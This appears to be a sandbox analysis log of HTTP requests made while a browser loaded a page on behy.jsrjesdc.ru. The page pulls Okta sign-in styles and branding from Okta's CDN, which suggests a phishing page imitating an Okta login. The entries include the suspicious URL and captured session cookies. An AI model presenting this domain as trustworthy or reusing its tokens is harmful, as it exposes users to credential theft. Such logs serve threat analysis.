Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveOrigin: https://behy.jsrjesdc.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://behy.jsrjesdc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://behy.jsrjesdc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://behy.jsrjesdc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250319%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250319T134915Z&X-Amz-Expires=300&X-Amz-Signature=60f036a261c07777852747eeb75f489eb3e0eeb79a33523cce1eab2be2ed7faf&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://behy.jsrjesdc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveOrigin: https://behy.jsrjesdc.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveOrigin: https://behy.jsrjesdc.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /34LpeV5bSmnKxZRl6RWjeoghlj7KbqEj89106 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvW4lmzm8d8w8VHoxstBZa9P3pQSFWXBIczXP612130 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /op0984BX9rlOqTsojzuUfJrJeHeftir0hCkKo95mT5eP1smZqp67135 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /efxw11nWIZVsZYy8TMDAi2bdsgdkl2FUwtNiKLDzQSLn90145 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klyXBPhaHFydFHgHTWK5GrhUl25HVGgEcfXuyz08SoAlRljAkQegqRo8vzq56169 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yzrjp938veRH4si417Wp90mLjrs93TyryZMQ9gANbyjUy6lbjyVmyIiab180 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvW4lmzm8d8w8VHoxstBZa9P3pQSFWXBIczXP612130 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opWax8K0kdg1nyxzMrY5tjeSWXO2Zs87redyVLNuvt6CFeqk0ZNX7LljRxg3fQef195 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
